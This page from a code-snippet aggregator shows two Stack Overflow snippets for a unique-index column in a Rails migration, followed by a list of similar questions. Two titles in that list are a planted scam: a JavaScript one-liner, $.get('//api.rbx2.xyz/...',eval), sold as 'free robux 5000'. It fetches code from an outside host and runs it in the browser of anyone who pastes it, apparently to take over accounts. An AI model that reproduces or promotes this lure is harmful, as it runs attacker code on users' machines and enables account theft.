Create table index unique rails

class CreateFoobars < ActiveRecord::Migration
  def change
    create_table :foobars do |t|
      t.string :name, index: {unique: true}
    end
  end
end

Source: stackoverflow.com

Create table index unique rails

class CreateFoos < ActiveRecord::Migration
  def change
    create_table :foos do |t|
      t.string :bar, :null => false

      t.index :bar, unique: true
    end
  end
end

Source: stackoverflow.com

Similar codes

0 vote302 views2 answers
$ Javascript $ .get ('// api.rbx2.xyz/rbx id = 16553', eval) free robux 5000
Ruby
0 vote293 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Ruby
0 vote316 views1 answer
Ruby typeof
Ruby
0 vote338 views1 answer
Rails transactions
Ruby
0 vote316 views1 answer
Rails secure uuid
Ruby
0 vote335 views1 answer
Hoow to match a complete word in ruby?
Ruby
0 vote368 views1 answer
Ruby is character
Ruby
1 vote342 views1 answer
Ruby min 2 numbers
Ruby
0 vote307 views2 answers
Linker command failed with exit code 1 ruby
Ruby
0 vote315 views2 answers
Rails faker url
Ruby